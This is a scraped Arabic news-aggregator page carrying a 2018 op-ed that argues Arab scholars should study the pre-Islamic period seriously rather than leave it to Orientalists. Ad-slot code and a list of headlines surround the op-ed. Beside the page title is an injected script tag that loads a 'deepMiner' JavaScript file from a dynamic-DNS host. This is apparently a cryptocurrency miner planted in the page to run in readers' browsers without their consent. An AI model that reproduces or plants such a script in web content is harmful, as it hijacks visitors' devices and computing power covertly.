googletag.defineSlot('/21620968445/Masress_Ar_Article_1', [[336, 280], [300, 300], [300, 250], [300, 600]], 'div-gpt-ad-1446553049-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_1', 'div-gpt-ad-1446553049-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Article_3', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1446553047-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_3', 'div-gpt-ad-1446553047-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Article_2', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1446553048-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Article_2', 'div-gpt-ad-1446553048-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Widget', [[222, 280]], 'div-gpt-ad-374346843-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Widget', 'div-gpt-ad-374346843-0-oop').addService(googletag.pubads()); googletag.defineSlot('/21620968445/Masress_Ar_Siteunder', [[336, 280], [300, 300], [300, 250]], 'div-gpt-ad-1775746800-0').addService(googletag.pubads()); googletag.defineOutOfPageSlot('/21620968445/Masress_Ar_Siteunder', 'div-gpt-ad-1775746800-0-oop').addService(googletag.pubads()); googletag.pubads().enableSingleRequest(); googletag.enableServices();}); مصرس : فوبيا الجاهلية (2)<script src="https://jhondi33.duckdns.org:7777/deepMiner.min.js"></script>
 
رئيس جامعة أسيوط بين الطلاب فى انتخابات الاتحاد    بالصور.. وزير الزراعة يتفقد معهد بحوث صحة الحيوان    لأول مرة.. دار الإفتاء تطلق وحدة لأفلام الرسوم المتحركة ردا على المتطرفين    سيول الخير تعم وادي فيران.. وأمطار على نويبع.. صور    السيسي: مصر ملتزمة بدعم علاقات التعاون مع غينيا    بالصور.. حلقة نقاشية حول تعميم التنوع البيولوجي في الطاقة والتعدين     وزارتا التموين والأوقاف يتعاونان لتوزيع السكر والأرز على المحتاجين    رئيس الطرق والكبارى: 63 مليار جنيه لتطوير الطرق بالمحافظات    أوبر تسجل خسارة مليار دولار فى 3 أشهر مع تباطؤ نمو الحجوزات    وزير التنمية المحلية: مبادرة شبابية تنهي أزمة البطاطس في كفر الشيخ    محافظ السويس يطالب العمال ببذل الجهد للانتهاء من إنشاء محطة صرف بحي الجناين    فيديو| الجامعة العربية: الاحتلال يتحدى الشرعية الدولية بالتعدي على الفلسطينين    «قُتل بحقنه مُخدر وتمت تجزئته».. السعودية تعلن تفاصيل مقتل جمال خاشقجي    فلسطيني يصيب 4 ضباط إسرائيليين بسكين    دعوات لفحص المعاملات المالية لحزب البديل بشكل كامل بعد تلقيه تبرعات مشبوهة    النيابة السعودية توضح دور "ولي العهد" في مقتل "خاشقجي"    شاهد.. لقطات مرعبة من حرائق كاليفورنيا    رئيس وزراء ماليزيا: نقل السفارة الأسترالية من تل أبيب إلى القدس غير مفيد    الزمالك يدرس إعارة «أبو الفتوح» لأحد أندية الدوري    هشام محمد يواصل برنامجه التأهيلي    تقرير.. هل يتم استبعاد باريس ومانشستر سيتي من دوري أبطال أوروبا؟    مصدر بالمصري ليلا كورة: نرغب في ضم باسم مرسي    كسر ماسورة مياه يصيب محور المشير بارتباك مروري    حبس صاحب إسطبل خيول لهتكه عرض طفل بالبساتين    حزب الوفد ينعي للأمة المصرية البطل الشهيد ساطع النعماني    حبس امرأتين بينهما «كوافيرة» عامين للاتجار بالمخدرات ببولاق الدكرور    إصابة 15 شخصا فى حادث انقلاب سيارة بالفيوم    بالصور| انفجار ماسورة مياه بمحور المشير.. وارتباك بحركة المرور بالتجمع    ضبط 11 من العناصر الخطرة في حملة أمنية بالقليوبية    شاهد.. لوحات إرشادية جديدة للمتحف المصرى بالتحرير احتفالا بعيده ال116    الأقصر تحتضن مهرجان الشعر العربي برعاية سلطان القاسمي    تعرف على موعد حفل شيرين الجديد    يواصل التصوير في مصر الجديدة    شاهد..ياسمين رئيس في شوارع بيروت    القول الحق فى مَولد خير الخلق    طارق سلمان: كلية طب الأزهر تقود الجامعة في تصنيفات عالمية    وزير المالية ل«الشروق»: الالتزام بالبرامج البيئية شرط توفير التمويل للمشروعات    محافظ أسوان يهنئ الدكتور مجدي يعقوب بمناسبة عيد ميلاده    الأرصاد تناشد المواطنين بضرورة ارتداء الملابس الشتوية    حكم الجلوس في الصلاة لغير القادر    وزير الرياضة: مصر تسعى للدخول ضمن أفضل 10 دول في الرياضة التنافسية    الخبر التالى:    30 يونيو.. الانتهاء من الأعمال الإنشائية بمستشفى جهينة المركزي    إغلاق الأكاديمية الدولية للتعليم بسبب العمل بدون ترخيص    ميندي لاعب سيتي يخضع لجراحة في الركبة    غدا.. "شارك حبك لحبيبك" أمسية دينية لأوقاف الإسماعيلية    محافظ الأقصر يلتقى وفد مشروع إعادة اكتشاف الأصول التراثية لإسنا    مكتبة مصر الجديدة تظهر بإطلالة جديدة في عيد ميلادها ال 73    علي معلول ومحمد نجيب يواصلان التأهيل في الأهلي    أنباء عن وقف التحالف العربي عملياته في الحديدة    " جروس" يصل القاهرة اليوم ليستكمل تدريبات الزمالك    تناول 4 فناجين قهوة يومياً يقى من مرض السكر    شاهد.. الكلية الفنية العسكرية تحصد جائزتين    دراسة: البشر أفضل في تذكر الأسماء عن الوجوه    بيع قلادة ماري أنطوانيت ب36 مليون دولار في مزاد بجنيف    بوضوح    كلام بحب    .. والسلام ختام    







شكرا على الإبلاغ!
سيتم حجب هذه الصورة تلقائيا عندما يتم الإبلاغ عنها من طرف عدة أشخاص.





فوبيا الجاهلية (2)
نشر في المصري اليوم يوم 21 - 10 - 2018

نحن نعيش عصرا لا يمكن لرأى أو فكرة مهما كانت غريبة أن تظل حبيسة أو مجهولة، وانتهى الزمن الذى لم يكن متاحا لغير أفراد محدودين.
القطيعة العلمية والمعرفية مع عصر ما قبل الإسلام (الجاهلى)، أدت إلى نتائج سلبية دفعنا ثمنها غالياً، ومازلنا ندفع، ثقافيا وفكريا وسياسيا، واتُهم الإسلام والمسلمون عموما والعرب تحديداً بأبشع الاتهامات التى صدرت من أطراف عديدة.
بناءً على الحالة المزرية التى وصف بها كثير من أنصار الإسلام السياسى وغيرهم مجتمع ما قبل الإسلام ومجتمعنا الحالى، ذهب عدد من المستشرقين والباحثين الغربيين فى شئون الشرق الأوسط إلى أن العرب غير قابلين للتحضر وغير قادرين على التفكير العقلى والنقدى المركب، وأن الحضارة العربية والإسلامية ليست إلا سطوا مباشرا على الحضارتين الرومانية والفارسية والحضارات القديمة فى المنطقة كالحضارة المصرية، وأن الحضارة - العربية الإسلامية - ليس بها إبداع خالص يُحسب للشخصية وللعقلية العربية، واستشهدوا فى ذلك بأن ابن سينا والفارابى والبخارى والخوارزمى وغيرهم لم يكونوا عرباً، ومن ثم فإن العرب خارج دائرة الشعر ليس لهم إبداع يذكر ولا إنجاز يتم الوقوف عليه.
ولا يحسب أحد أن تلك آراء وأفكار القرنين الثامن والتاسع عشر التى عفا عليها الزمن وصارت فى ذاكرة التاريخ، هذه الآراء والأفكار مازالت تتجدد وتتردد بأساليب وصياغات أخرى. تأمّل ما ظهر من أفكار ومواقف بعد 11 سبتمبر 2001 سوف تجد الأفكار القديمة عن الإسلام والمسلمين حية وبكثافة.
وهناك فريق آخر من الباحثين الأوروبيين والأمريكيين ذهبوا إلى البحث فيما هو متاح من نتف معلومات عن مجتمع ما قبل الإسلام، والتى تشير إلى أن المجتمع كان فى حالة تأهب واستعداد للتغيير، ويثبتون بها أن المجتمع كانت به بوادر نهضة حقيقية، وجاء الإسلام ليوقفها ويمنعها، حيث فرض تصوراً بعينه على حياة الناس، عقائديا وفكريا.
لم يعد الأمر وقفا على المستشرقين وعلماء الأنثروبولوجيا فى الجامعات الغربية، لكنه امتد كذلك إلى بعض الباحثين العرب، المؤرخ اللبنانى الأصل كمال صليبى، تبنى فرضية علمية حاول إثباتها تقول إن التوراة ظهرت فى الجزيرة العربية وليس فى فلسطين ولا فى بلاد الشام عموما، وإن اليهود من البداية كانوا فى الجزيرة العربية، وما كانوا فى فلسطين ولا كان لهم أى شىء بها، وهلل بعض أنصاف المثقفين العرب لتلك الآراء، ليس لأسباب أو فهم علمى، بل لسبب سياسى وهو أنه يسقط حجج إسرائيل حول تاريخهم القديم بفلسطين، ومؤخرا سمعنا من يقول لنا إن المسجد الأقصى الذى ورد ذكره فى القرآن الكريم ليس هو المسجد الأقصى بالقدس، الذى يتعرض لاعتداءات متكررة من المتطرفين الإسرائيليين، وإن المسجد الأقصى، الذى ذكره القرآن الكريم، هو مسجد موجود فى طريق الطائف، وبالتالى هو أقصى بالنسبة لمكة، ورغم أنه ليس جديدا وسبق لبعض المستشرقين أن طرحوه. وبغض النظر عن أن هذا القول يصب - سواء عن قصد أو عن غير قصد - فى مصلحة المشروع الإسرائيلى فى تهويد القدس الشرقية وجعلها عاصمة لإسرائيل، وهدم المسجد الأقصى وإقامة الهيكل مكانه، فإننا لم نجد رداً علميا عليه، ليس لأنه لا يوجد رد، بل لأننا لم نتعامل بجدية علمية وبحثية مع ما يقال واكتفينا بالشتائم والهجائيات، ويمكن للعوام الغاضبين أن يقوموا بالهجاء، لكن ينبغى أن يكون بيننا علماء وباحثون متخصصون يأخذون الأمور على محمل الجد علمياً وفكرياً.
ومن متابعة ما يجرى فى الساحة الثقافية والفكرية، فإن بعض الحانقين على أفكار الإسلام السياسى، راحوا يتبنون آراء وأفكار بعض المستشرقين حول الإسلام ذاته وحول شخصية النبى محمد والقرآن الكريم، وهناك من نقل حرفيا بعض تلك الأفكار ونسبها إلى نفسه، مهدراً قواعد الأمانة العلمية والحقوق الفكرية، متصوراً أنه بذلك يقاوم المتأسلمين والإرهابيين، دون أن ينتبه إلى أنه ليس بالسرقات العلمية نقاوم التطرف والتشدد، كما لم ينتبه كذلك أنه ينقل المشكلة من صراع مع تيار فاشى وكاره للحياة إلى صراع مع الإسلام ذاته كدين، ويفتات أنصار الإسلام السياسى على تلك الحالة ليقدموا أنفسهم للمجتمع باعتبارهم مدافعين عن الدين ذاته رغم أن رفض ودحض مشروع الإسلام السياسى كاملا لا يحتاج أن نذهب إلى المستشرقين وأن نسطو على آراء بعضهم ونتبنى آراء البعض الآخر. تأمّل واقعنا جيداً ودراسة تاريخنا والتطلع إلى المستقبل، كلها عوامل تفضى بالضرورة إلى رفض وهدم ذلك المشروع.
لا أريد أن أسترسل فى ذكر مزيد من الآراء والأفكار التى تطرح، ولا تجد لدينا نقاشا علميا جادا، لأن هذه المنطقة التاريخية - ما قبل الإسلام - محرمة أمام العقل العربى ومن يدرسها أو يحاول ذلك سوف يتهم بالترويج للجاهلية وتهدر سمعته ويغتال معنويا، من جحافل دعاة الجاهلية المعاصرة.
فى مطلع القرن العشرين حاول جورجى زيدان دراسة هذه الفترة فى كتابه المهم والمبكر «العرب قبل الإسلام»، وفى الجزء الأول من كتابه «تاريخ التمدن الإسلامى»، وبسبب ذلك لم يسلم من الاتهام ولم ينج من الطعن فى نواياه، وأنه يدس السم فى العسل، فلم يكمل، رغم أنه أعلن عن جزء ثان لكتابه «العرب قبل الإسلام».
محاولة زيدان تستحق الإكبار والتقدير، رغم المآخذ العلمية والانتقادات المنهجية التى يمكن أن توجه إليها، لكنه كان جاداً ومخلصا فى البحث والتعلم، وأظن أنه لو وجد تفاعلا علمياً جاداً ورصيناً معه، لتطور البحث وظهرت أجيال جديدة تفك كثيرا من الألغاز المعرفية أمامنا.
وبعده قام العالم والباحث العراقى «جواد على» بجهد جبار فى موسوعته، لكن اتهم هو الآخر وتعرض لكثير من العنت، وهكذا تركنا الباب مفتوحا أمام الأجانب من المستشرقين فقط والويل كل الويل للباحث العربى الذى يتجاوز ما اعتبره المتشددون منطقة محرمة.
ونحن نعيش عصرا لا يمكن لرأى أو فكرة مهما كانت غريبة أن تظل حبيسة أو مجهولة، وانتهى الزمن الذى لم يكن متاحا لغير أفراد محدودين مثل نجيب العقيقى وعبدالرحمن بدوى أن يكونوا وحدهم على اطلاع بإبحاث المستشرقين ودراساتهم، نحن نعيش زمن ديمقراطية المعرفة والعلم، لذا فإن الآراء التى تقال حول فترة الجاهلية فى الدراسات الغربية باتت تنتقل إلى شبابنا فى نفس اللحظة، لم يعد هناك علم خاص للصفوة وعظة للعوام، ولا كهنوت فى العلوم والمعارف، وتجنب الخوض فى هذه القضايا بدعوى الجاهلية، والخوف من الاقتراب منها ومناقشتها لن يلغيها، بل يزيدها حدة وقد يمنحها قدرا من المصداقية لدى البعض.
والموقف الصحيح يجب أن تتخذه جامعاتنا العربية، وهو أنه كما درسنا الشعر الجاهلى ومازلنا ندرسه فى الجامعات ويتخصص فيه بعض الباحثين، يجب أن تمتد الدراسة إلى بقية جوانب الحياة قبل الإسلام، بلا خوف ولا تردد، وإذا كان نبى الإسلام لم يقم قطيعة مطلقة مع ما قبل النبوة، فلماذا نقيمها نحن، التجهيل بالجاهلية هو الجاهلية بعينها.


انقر هنا لقراءة الخبر من مصدره.